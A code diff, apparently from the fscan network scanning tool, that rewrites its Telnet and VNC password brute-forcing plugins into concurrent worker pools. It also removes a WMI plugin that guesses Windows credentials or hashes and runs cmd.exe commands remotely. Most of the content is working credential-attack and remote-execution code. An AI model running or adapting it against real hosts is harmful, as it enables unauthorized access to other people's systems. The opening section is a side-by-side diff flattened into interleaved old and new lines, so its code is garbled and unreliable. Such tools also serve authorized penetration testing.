}, 1) }{err == nil, noAuth, err}:
go func(user, pass string) {
flag, err := telnetConn(info, user, pass)
select {
case done <- struct {
success bool
noAuth bool
err error
}{err == nil, flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.noAuth {
// 无需认证
msg := fmt.Sprintf("Telnet服务 %s 无需认证", target)
Common.LogSuccess(msg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "telnet",
"type": "unauthorized-access",
},
}
Common.SaveResult(vulnResult)
return nil
} else if result.success {
// 成功爆破
msg := fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v", target, user, pass)
Common.LogSuccess(msg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "telnet",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
} }
}()
if err != nil { // 等待结果或超时
errlog := fmt.Sprintf("Telnet连接失败 %s 用户名:%v 密码:%v 错误:%v", var success bool
target, user, pass, err) var noAuth bool
Common.LogError(errlog) var err error
if retryErr := Common.CheckErrs(err); retryErr != nil { select {
if retryCount == maxRetries-1 { case result := <-resultChan:
continue success = result.success
} noAuth = result.noAuth
continue err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &TelnetScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
} }
} }
break // 单个连接超时
err = fmt.Errorf("连接超时")
}
if noAuth {
return &TelnetScanResult{
Success: false,
NoAuth: true,
Credential: credential,
}
}
if success {
return &TelnetScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &TelnetScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// telnetConn 尝试建立Telnet连接并进行身份验证 // telnetConnWithContext 带上下文的Telnet连接尝试
func telnetConn(info *Common.HostInfo, user, pass string) (flag bool, err error) { func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pass string) (bool, error) {
client := NewTelnet(info.Host, info.Ports) // 创建TCP连接(使用上下文控制)
var d net.Dialer
if err = client.Connect(); err != nil { conn, err := d.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports))
if err != nil {
return false, err return false, err
} }
client := &TelnetClient{
IPAddr: info.Host,
Port: info.Ports,
UserName: user,
Password: pass,
conn: conn,
}
// 设置连接关闭
defer client.Close() defer client.Close()
client.UserName = user // 检查上下文是否已取消
client.Password = pass select {
case <-ctx.Done():
return false, ctx.Err()
default:
}
// 初始化连接
client.init()
client.ServerType = client.MakeServerType() client.ServerType = client.MakeServerType()
if client.ServerType == UnauthorizedAccess { if client.ServerType == UnauthorizedAccess {
@ -151,119 +286,42 @@ func telnetConn(info *Common.HostInfo, user, pass string) (flag bool, err error)
return false, err return false, err
} }
const ( // saveTelnetResult 保存Telnet扫描结果
// 写入操作后的延迟时间 func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanResult) {
TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond var successMsg string
var details map[string]interface{}
// Telnet基础控制字符 if result.NoAuth {
IAC = byte(255) // 解释为命令(Interpret As Command) successMsg = fmt.Sprintf("Telnet服务 %s 无需认证", target)
DONT = byte(254) // 请求对方停止执行某选项 details = map[string]interface{}{
DO = byte(253) // 请求对方执行某选项 "port": info.Ports,
WONT = byte(252) // 拒绝执行某选项 "service": "telnet",
WILL = byte(251) // 同意执行某选项 "type": "unauthorized-access",
}
} else {
successMsg = fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "telnet",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
}
// 子协商相关控制字符 Common.LogSuccess(successMsg)
SB = byte(250) // 子协商开始(Subnegotiation Begin)
SE = byte(240) // 子协商结束(Subnegotiation End)
// 特殊功能字符 // 保存结果
NULL = byte(0) // 空字符 vulnResult := &Common.ScanResult{
EOF = byte(236) // 文档结束 Time: time.Now(),
SUSP = byte(237) // 暂停进程 Type: Common.VULN,
ABORT = byte(238) // 停止进程 Target: info.Host,
REOR = byte(239) // 记录结束 Status: "vulnerable",
Details: details,
// 控制操作字符 }
NOP = byte(241) // 无操作 Common.SaveResult(vulnResult)
DM = byte(242) // 数据标记 }
BRK = byte(243) // 中断
IP = byte(244) // 中断进程
AO = byte(245) // 终止输出
AYT = byte(246) // 在线确认
EC = byte(247) // 擦除字符
EL = byte(248) // 擦除行
GA = byte(249) // 继续进行
// Telnet协议选项代码 (来自arpa/telnet.h)
BINARY = byte(0) // 8位数据通道
ECHO = byte(1) // 回显
RCP = byte(2) // 准备重新连接
SGA = byte(3) // 禁止继续
NAMS = byte(4) // 近似消息大小
STATUS = byte(5) // 状态查询
TM = byte(6) // 时间标记
RCTE = byte(7) // 远程控制传输和回显
// 输出协商选项
NAOL = byte(8) // 输出行宽度协商
NAOP = byte(9) // 输出页面大小协商
NAOCRD = byte(10) // 回车处理协商
NAOHTS = byte(11) // 水平制表符停止协商
NAOHTD = byte(12) // 水平制表符处理协商
NAOFFD = byte(13) // 换页符处理协商
NAOVTS = byte(14) // 垂直制表符停止协商
NAOVTD = byte(15) // 垂直制表符处理协商
NAOLFD = byte(16) // 换行符处理协商
// 扩展功能选项
XASCII = byte(17) // 扩展ASCII字符集
LOGOUT = byte(18) // 强制登出
BM = byte(19) // 字节宏
DET = byte(20) // 数据输入终端
SUPDUP = byte(21) // SUPDUP协议
SUPDUPOUTPUT = byte(22) // SUPDUP输出
SNDLOC = byte(23) // 发送位置
// 终端相关选项
TTYPE = byte(24) // 终端类型
EOR = byte(25) // 记录结束
TUID = byte(26) // TACACS用户识别
OUTMRK = byte(27) // 输出标记
TTYLOC = byte(28) // 终端位置编号
VT3270REGIME = byte(29) // 3270体制
// 通信控制选项
X3PAD = byte(30) // X.3 PAD
NAWS = byte(31) // 窗口大小
TSPEED = byte(32) // 终端速度
LFLOW = byte(33) // 远程流控制
LINEMODE = byte(34) // 行模式选项
// 环境与认证选项
XDISPLOC = byte(35) // X显示位置
OLD_ENVIRON = byte(36) // 旧环境变量
AUTHENTICATION = byte(37) // 认证
ENCRYPT = byte(38) // 加密选项
NEW_ENVIRON = byte(39) // 新环境变量
// IANA分配的额外选项
// http://www.iana.org/assignments/telnet-options
TN3270E = byte(40) // TN3270E
XAUTH = byte(41) // XAUTH
CHARSET = byte(42) // 字符集
RSP = byte(43) // 远程串行端口
COM_PORT_OPTION = byte(44) // COM端口控制
SUPPRESS_LOCAL_ECHO = byte(45) // 禁止本地回显
TLS = byte(46) // 启动TLS
KERMIT = byte(47) // KERMIT协议
SEND_URL = byte(48) // 发送URL
FORWARD_X = byte(49) // X转发
// 特殊用途选项
PRAGMA_LOGON = byte(138) // PRAGMA登录
SSPI_LOGON = byte(139) // SSPI登录
PRAGMA_HEARTBEAT = byte(140) // PRAGMA心跳
EXOPL = byte(255) // 扩展选项列表
NOOPT = byte(0) // 无选项
)
// 服务器类型常量定义
const (
Closed = iota // 连接关闭
UnauthorizedAccess // 无需认证
OnlyPassword // 仅需密码
UsernameAndPassword // 需要用户名和密码
)
// TelnetClient Telnet客户端结构体 // TelnetClient Telnet客户端结构体
type TelnetClient struct { type TelnetClient struct {
@ -276,28 +334,8 @@ type TelnetClient struct {
ServerType int // 服务器类型 ServerType int // 服务器类型
} }
// NewTelnet 创建新的Telnet客户端实例 // init 初始化Telnet连接
func NewTelnet(addr, port string) *TelnetClient { func (c *TelnetClient) init() {
return &TelnetClient{
IPAddr: addr,
Port: port,
UserName: "",
Password: "",
conn: nil,
LastResponse: "",
ServerType: Closed,
}
}
// Connect 建立Telnet连接
func (c *TelnetClient) Connect() error {
// 建立TCP连接,超时时间5秒
conn, err := net.DialTimeout("tcp", c.Netloc(), 5*time.Second)
if err != nil {
return err
}
c.conn = conn
// 启动后台goroutine处理服务器响应 // 启动后台goroutine处理服务器响应
go func() { go func() {
for { for {
@ -328,8 +366,7 @@ func (c *TelnetClient) Connect() error {
}() }()
// 等待连接初始化完成 // 等待连接初始化完成
time.Sleep(time.Second * 3) time.Sleep(time.Second * 2)
return nil
} }
// WriteContext 写入数据到Telnet连接 // WriteContext 写入数据到Telnet连接
@ -362,7 +399,9 @@ func (c *TelnetClient) Netloc() string {
// Close 关闭Telnet连接 // Close 关闭Telnet连接
func (c *TelnetClient) Close() { func (c *TelnetClient) Close() {
c.conn.Close() if c.conn != nil {
c.conn.Close()
}
} }
// SerializationResponse 解析Telnet响应数据 // SerializationResponse 解析Telnet响应数据
@ -398,9 +437,11 @@ func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []b
if ch == SB { if ch == SB {
displayBuf = append(displayBuf, responseBuf[:index]...) displayBuf = append(displayBuf, responseBuf[:index]...)
seIndex := bytes.IndexByte(responseBuf, SE) seIndex := bytes.IndexByte(responseBuf, SE)
commandList = append(commandList, responseBuf[index:seIndex]) if seIndex != -1 && seIndex > index {
responseBuf = responseBuf[seIndex+1:] commandList = append(commandList, responseBuf[index:seIndex+1])
continue responseBuf = responseBuf[seIndex+1:]
continue
}
} }
break break
@ -465,6 +506,8 @@ func (c *TelnetClient) MakeReply(command []byte) []byte {
// read 从Telnet连接读取数据 // read 从Telnet连接读取数据
func (c *TelnetClient) read() ([]byte, error) { func (c *TelnetClient) read() ([]byte, error) {
var buf [2048]byte var buf [2048]byte
// 设置读取超时为2秒
_ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 2))
n, err := c.conn.Read(buf[0:]) n, err := c.conn.Read(buf[0:])
if err != nil { if err != nil {
return nil, err return nil, err
@ -481,6 +524,8 @@ func (c *TelnetClient) write(buf []byte) error {
if err != nil { if err != nil {
return err return err
} }
// 写入后短暂延迟,让服务器有时间处理
time.Sleep(TIME_DELAY_AFTER_WRITE)
return nil return nil
} }
@ -492,9 +537,9 @@ func (c *TelnetClient) Login() error {
case UnauthorizedAccess: case UnauthorizedAccess:
return nil return nil
case OnlyPassword: case OnlyPassword:
return c.loginForOnlyPassword() return c.LogBaserOnlyPassword()
case UsernameAndPassword: case UsernameAndPassword:
return c.loginForUsernameAndPassword() return c.LogBaserUsernameAndPassword()
default: default:
return errors.New("unknown server type") return errors.New("unknown server type")
} }
@ -503,7 +548,17 @@ func (c *TelnetClient) Login() error {
// MakeServerType 通过分析服务器响应判断服务器类型 // MakeServerType 通过分析服务器响应判断服务器类型
func (c *TelnetClient) MakeServerType() int { func (c *TelnetClient) MakeServerType() int {
responseString := c.ReadContext() responseString := c.ReadContext()
// 空响应情况
if responseString == "" {
return Closed
}
response := strings.Split(responseString, "\n") response := strings.Split(responseString, "\n")
if len(response) == 0 {
return Closed
}
lastLine := strings.ToLower(response[len(response)-1]) lastLine := strings.ToLower(response[len(response)-1])
// 检查是否需要用户名和密码 // 检查是否需要用户名和密码
@ -550,13 +605,13 @@ func isNoAuthRequired(line string) bool {
return false return false
} }
// loginForOnlyPassword 处理只需密码的登录 // LogBaserOnlyPassword 处理只需密码的登录
func (c *TelnetClient) loginForOnlyPassword() error { func (c *TelnetClient) LogBaserOnlyPassword() error {
c.Clear() // 清空之前的响应 c.Clear() // 清空之前的响应
// 发送密码并等待响应 // 发送密码并等待响应
c.WriteContext(c.Password) c.WriteContext(c.Password)
time.Sleep(time.Second * 3) time.Sleep(time.Second * 2)
// 验证登录结果 // 验证登录结果
responseString := c.ReadContext() responseString := c.ReadContext()
@ -570,16 +625,16 @@ func (c *TelnetClient) loginForOnlyPassword() error {
return errors.New("login failed") return errors.New("login failed")
} }
// loginForUsernameAndPassword 处理需要用户名和密码的登录 // LogBaserUsernameAndPassword 处理需要用户名和密码的登录
func (c *TelnetClient) loginForUsernameAndPassword() error { func (c *TelnetClient) LogBaserUsernameAndPassword() error {
// 发送用户名 // 发送用户名
c.WriteContext(c.UserName) c.WriteContext(c.UserName)
time.Sleep(time.Second * 3) time.Sleep(time.Second * 2)
c.Clear() c.Clear()
// 发送密码 // 发送密码
c.WriteContext(c.Password) c.WriteContext(c.Password)
time.Sleep(time.Second * 5) time.Sleep(time.Second * 3)
// 验证登录结果 // 验证登录结果
responseString := c.ReadContext() responseString := c.ReadContext()
@ -640,12 +695,21 @@ func (c *TelnetClient) isLoginFailed(responseString string) bool {
// isLoginSucceed 检查是否登录成功 // isLoginSucceed 检查是否登录成功
func (c *TelnetClient) isLoginSucceed(responseString string) bool { func (c *TelnetClient) isLoginSucceed(responseString string) bool {
// 空响应视为失败
if responseString == "" {
return false
}
// 获取最后一行响应 // 获取最后一行响应
lines := strings.Split(responseString, "\n") lines := strings.Split(responseString, "\n")
if len(lines) == 0 {
return false
}
lastLine := lines[len(lines)-1] lastLine := lines[len(lines)-1]
// 检查命令提示符 // 检查命令提示符
if regexp.MustCompile("^[#$].*").MatchString(lastLine) || if regexp.MustCompile("^[#$>].*").MatchString(lastLine) ||
regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) { regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) {
return true return true
} }
@ -658,7 +722,7 @@ func (c *TelnetClient) isLoginSucceed(responseString string) bool {
// 发送测试命令验证 // 发送测试命令验证
c.Clear() c.Clear()
c.WriteContext("?") c.WriteContext("?")
time.Sleep(time.Second * 3) time.Sleep(time.Second * 2)
responseString = c.ReadContext() responseString = c.ReadContext()
// 检查响应长度 // 检查响应长度
@ -668,3 +732,38 @@ func (c *TelnetClient) isLoginSucceed(responseString string) bool {
return false return false
} }
// Telnet协议常量定义
const (
// 写入操作后的延迟时间
TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond
// Telnet基础控制字符
IAC = byte(255) // 解释为命令(Interpret As Command)
DONT = byte(254) // 请求对方停止执行某选项
DO = byte(253) // 请求对方执行某选项
WONT = byte(252) // 拒绝执行某选项
WILL = byte(251) // 同意执行某选项
// 子协商相关控制字符
SB = byte(250) // 子协商开始(Subnegotiation Begin)
SE = byte(240) // 子协商结束(Subnegotiation End)
// 特殊功能字符
NULL = byte(0) // 空字符
EOF = byte(236) // 文档结束
SUSP = byte(237) // 暂停进程
ABORT = byte(238) // 停止进程
REOR = byte(239) // 记录结束
// Telnet选项代码
BINARY = byte(0) // 8位数据通道
ECHO = byte(1) // 回显
SGA = byte(3) // 禁止继续
// 服务器类型常量定义
Closed = iota // 连接关闭
UnauthorizedAccess // 无需认证
OnlyPassword // 仅需密码
UsernameAndPassword // 需要用户名和密码
)

View File

@ -1,132 +1,274 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/mitchellh/go-vnc" "github.com/mitchellh/go-vnc"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"sync"
"time" "time"
) )
func VncScan(info *Common.HostInfo) (tmperr error) { // VncCredential 表示VNC凭据
type VncCredential struct {
Password string
}
// VncScanResult 表示VNC扫描结果
type VncScanResult struct {
Success bool
Error error
Credential VncCredential
}
func VncScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
modename := "vnc"
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", totalPass))
tried := 0 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 遍历所有密码 // 构建密码列表
var credentials []VncCredential
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ credentials = append(credentials, VncCredential{Password: pass})
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", tried, totalPass, pass)) }
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试密码组合 (总密码数: %d)", len(credentials)))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retryCount+1, pass))
}
done := make(chan struct { // 使用工作池并发扫描
success bool result := concurrentVncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
err error if result != nil {
}, 1) // 记录成功结果
saveVncResult(info, target, result.Credential)
return nil
}
go func(pass string) { // 检查是否因为全局超时而退出
success, err := VncConn(info, pass) select {
case <-ctx.Done():
Common.LogDebug("VNC扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", len(credentials)))
return nil
}
}
// concurrentVncScan 并发扫描VNC服务
func concurrentVncScan(ctx context.Context, info *Common.HostInfo, credentials []VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *VncScanResult, 1)
workChan := make(chan VncCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case done <- struct { case <-scanCtx.Done():
success bool return
err error
}{success, err}:
default: default:
result := tryVncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
} }
}(pass) }
}()
}
var err error // 发送工作
go func() {
for i, cred := range credentials {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err break
if result.success && err == nil { default:
// 连接成功 Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
successLog := fmt.Sprintf("%s://%s 密码: %v", modename, target, pass) workChan <- cred
Common.LogSuccess(successLog) }
}
close(workChan)
}()
// 保存结果 // 等待结果或完成
vulnResult := &Common.ScanResult{ go func() {
Time: time.Now(), wg.Wait()
Type: Common.VULN, close(resultChan)
Target: info.Host, }()
Status: "vulnerable",
Details: map[string]interface{}{ // 获取结果,考虑全局超时
"port": info.Ports, select {
"service": "vnc", case result, ok := <-resultChan:
"password": pass, if ok && result != nil && result.Success {
"type": "weak-password", return result
}, }
} return nil
Common.SaveResult(vulnResult) case <-ctx.Done():
return nil Common.LogDebug("VNC并发扫描全局超时")
} scanCancel() // 确保取消所有未完成工作
case <-time.After(time.Duration(Common.Timeout) * time.Second): return nil
err = fmt.Errorf("连接超时") }
}
// tryVncCredential 尝试单个VNC凭据
func tryVncCredential(ctx context.Context, info *Common.HostInfo, credential VncCredential, timeoutSeconds int64, maxRetries int) *VncScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &VncScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
} }
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := VncConn(connCtx, info, credential.Password)
cancel()
if success {
return &VncScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil { if err != nil {
errlog := fmt.Sprintf("%s://%s 尝试密码: %v 错误: %v", // 检查是否需要重试
modename, target, pass, err) if retryErr := Common.CheckErrs(err); retryErr == nil {
Common.LogError(errlog) break // 不需要重试的错误
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
} }
} }
break
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个密码", tried)) return &VncScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// VncConn 尝试建立VNC连接 // VncConn 尝试建立VNC连接
func VncConn(info *Common.HostInfo, pass string) (flag bool, err error) { func VncConn(ctx context.Context, info *Common.HostInfo, pass string) (bool, error) {
flag = false
Host, Port := info.Host, info.Ports Host, Port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 建立TCP连接 // 使用带上下文的TCP连接
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", Host, Port), var d net.Dialer
time.Duration(Common.Timeout)*time.Second) conn, err := d.DialContext(ctx, "tcp", fmt.Sprintf("%s:%s", Host, Port))
if err != nil { if err != nil {
return return false, err
} }
defer conn.Close() defer conn.Close()
// 配置VNC客户端 // 设置读写超时
config := &vnc.ClientConfig{ if err := conn.SetDeadline(time.Now().Add(timeout)); err != nil {
Auth: []vnc.ClientAuth{ return false, err
&vnc.PasswordAuth{ }
Password: pass,
// 创建完成通道
doneChan := make(chan struct {
success bool
err error
}, 1)
// 在协程中处理VNC认证
go func() {
// 配置VNC客户端
config := &vnc.ClientConfig{
Auth: []vnc.ClientAuth{
&vnc.PasswordAuth{
Password: pass,
},
}, },
}
// 尝试VNC认证
client, err := vnc.Client(conn, config)
if err != nil {
select {
case <-ctx.Done():
case doneChan <- struct {
success bool
err error
}{false, err}:
}
return
}
// 认证成功
defer client.Close()
select {
case <-ctx.Done():
case doneChan <- struct {
success bool
err error
}{true, nil}:
}
}()
// 等待认证结果或上下文取消
select {
case result := <-doneChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveVncResult 保存VNC扫描结果
func saveVncResult(info *Common.HostInfo, target string, credential VncCredential) {
successLog := fmt.Sprintf("vnc://%s 密码: %v", target, credential.Password)
Common.LogSuccess(successLog)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "vnc",
"password": credential.Password,
"type": "weak-password",
}, },
} }
Common.SaveResult(vulnResult)
// 尝试VNC认证
client, err := vnc.Client(conn, config)
if err == nil {
defer client.Close()
flag = true
}
return
} }

View File

@ -1,185 +0,0 @@
package Plugins
import (
"fmt"
"github.com/go-ole/go-ole"
"github.com/go-ole/go-ole/oleutil"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
)
var (
ClientHost string
flag bool
)
func init() {
if flag {
return
}
clientHost, err := os.Hostname()
if err != nil {
fmt.Println(err)
}
ClientHost = clientHost
flag = true
}
func WmiExec(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return nil
}
maxRetries := Common.MaxRetries
starttime := time.Now().Unix()
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
// 检查是否超时
if time.Now().Unix()-starttime > int64(Common.Timeout) {
return fmt.Errorf("扫描超时")
}
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 执行WMI连接
done := make(chan struct {
success bool
err error
})
go func(user, pass string) {
success, err := Wmiexec(info, user, pass, Common.HashValue)
done <- struct {
success bool
err error
}{success, err}
}(user, pass)
// 等待结果或超时
var err error
select {
case result := <-done:
err = result.err
if result.success {
// 成功连接
var successLog string
if Common.Domain != "" {
successLog = fmt.Sprintf("WmiExec %v:%v:%v\\%v ",
info.Host, info.Ports, Common.Domain, user)
} else {
successLog = fmt.Sprintf("WmiExec %v:%v:%v ",
info.Host, info.Ports, user)
}
if Common.HashValue != "" {
successLog += "hash: " + Common.HashValue
} else {
successLog += pass
}
Common.LogSuccess(successLog)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("WmiExec %v:%v %v %v %v",
info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
Common.LogError(errlog)
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue // 继续重试
}
}
break // 如果不需要重试,跳出重试循环
}
// 如果是32位hash值,只尝试一次密码
if len(Common.HashValue) == 32 {
break
}
}
}
return tmperr
}
func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
return WMIExec(target, user, pass, hash, Common.Domain, Common.Command)
}
func WMIExec(target, username, password, hash, domain, command string) (flag bool, err error) {
err = ole.CoInitialize(0)
if err != nil {
return false, err
}
defer ole.CoUninitialize()
// 构建认证字符串
var auth string
if domain != "" {
auth = fmt.Sprintf("%s\\%s:%s", domain, username, password)
} else {
auth = fmt.Sprintf("%s:%s", username, password)
}
// 构建WMI连接字符串
connectStr := fmt.Sprintf("winmgmts://%s@%s/root/cimv2", auth, target)
unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator")
if err != nil {
return false, err
}
defer unknown.Release()
wmi, err := unknown.QueryInterface(ole.IID_IDispatch)
if err != nil {
return false, err
}
defer wmi.Release()
// 使用connectStr来建立连接
service, err := oleutil.CallMethod(wmi, "ConnectServer", "", connectStr)
if err != nil {
return false, err
}
defer service.Clear()
// 连接成功
flag = true
// 如果有命令则执行
if command != "" {
command = "C:\\Windows\\system32\\cmd.exe /c " + command
// 创建Win32_Process对象来执行命令
process, err := oleutil.CallMethod(service.ToIDispatch(), "Get", "Win32_Process")
if err != nil {
return flag, err
}
defer process.Clear()
// 执行命令
_, err = oleutil.CallMethod(process.ToIDispatch(), "Create", command)
if err != nil {
return flag, err
}
}
return flag, nil
}

View File

@ -7,6 +7,9 @@ import (
// WebPoc 直接执行Web漏洞扫描 // WebPoc 直接执行Web漏洞扫描
func WebPoc(info *Common.HostInfo) error { func WebPoc(info *Common.HostInfo) error {
if Common.DisablePocScan {
return nil
}
WebScan.WebScan(info) WebScan.WebScan(info)
return nil return nil
} }

View File

@ -2,13 +2,15 @@ package Plugins
import ( import (
"compress/gzip" "compress/gzip"
"context"
"crypto/tls" "crypto/tls"
"fmt" "fmt"
"io" "io"
"net"
"net/http" "net/http"
"net/url"
"regexp" "regexp"
"strings" "strings"
"sync"
"time" "time"
"unicode/utf8" "unicode/utf8"
@ -18,131 +20,203 @@ import (
"golang.org/x/text/encoding/simplifiedchinese" "golang.org/x/text/encoding/simplifiedchinese"
) )
// 常量定义
const (
maxTitleLength = 100
defaultProtocol = "http"
httpsProtocol = "https"
httpProtocol = "http"
printerFingerPrint = "打印机"
emptyTitle = "\"\""
noTitleText = "无标题"
// HTTP相关常量
httpPort = "80"
httpsPort = "443"
contentEncoding = "Content-Encoding"
gzipEncoding = "gzip"
contentLength = "Content-Length"
)
// 错误定义
var (
ErrNoTitle = fmt.Errorf("无法获取标题")
ErrHTTPClientInit = fmt.Errorf("HTTP客户端未初始化")
ErrReadRespBody = fmt.Errorf("读取响应内容失败")
)
// 响应结果
type WebResponse struct {
Url string
StatusCode int
Title string
Length string
Headers map[string]string
RedirectUrl string
Body []byte
Error error
}
// 协议检测结果
type ProtocolResult struct {
Protocol string
Success bool
}
// WebTitle 获取Web标题和指纹信息 // WebTitle 获取Web标题和指纹信息
func WebTitle(info *Common.HostInfo) error { func WebTitle(info *Common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始获取Web标题初始信息: %+v", info)) if info == nil {
return fmt.Errorf("主机信息为空")
// 获取网站标题信息
err, CheckData := GOWebTitle(info)
Common.LogDebug(fmt.Sprintf("GOWebTitle执行完成 - 错误: %v, 检查数据长度: %d", err, len(CheckData)))
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
Common.LogDebug(fmt.Sprintf("信息检查完成,获得信息: %v", info.Infostr))
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr {
if v == "打印机" {
Common.LogDebug("检测到打印机,停止扫描")
return nil
}
} }
// 输出错误信息(如果有) // 初始化Url
if err := initializeUrl(info); err != nil {
Common.LogError(fmt.Sprintf("初始化Url失败: %v", err))
return err
}
// 获取网站标题信息
checkData, err := fetchWebInfo(info)
if err != nil { if err != nil {
errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err) // 记录错误但继续处理可能获取的数据
Common.LogError(errlog) Common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
}
// 分析指纹
if len(checkData) > 0 {
info.Infostr = WebScan.InfoCheck(info.Url, &checkData)
// 检查是否为打印机,避免意外打印
for _, v := range info.Infostr {
if v == printerFingerPrint {
Common.LogBase("检测到打印机,停止扫描")
return nil
}
}
} }
return err return err
} }
// GOWebTitle 获取网站标题并处理URL // 初始化Url根据主机和端口生成完整Url
func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { func initializeUrl(info *Common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始处理URL: %s", info.Url))
// 如果URL未指定根据端口生成URL
if info.Url == "" { if info.Url == "" {
Common.LogDebug("URL为空根据端口生成URL") // 根据端口推断Url
switch info.Ports { switch info.Ports {
case "80": case httpPort:
info.Url = fmt.Sprintf("http://%s", info.Host) info.Url = fmt.Sprintf("%s://%s", httpProtocol, info.Host)
case "443": case httpsPort:
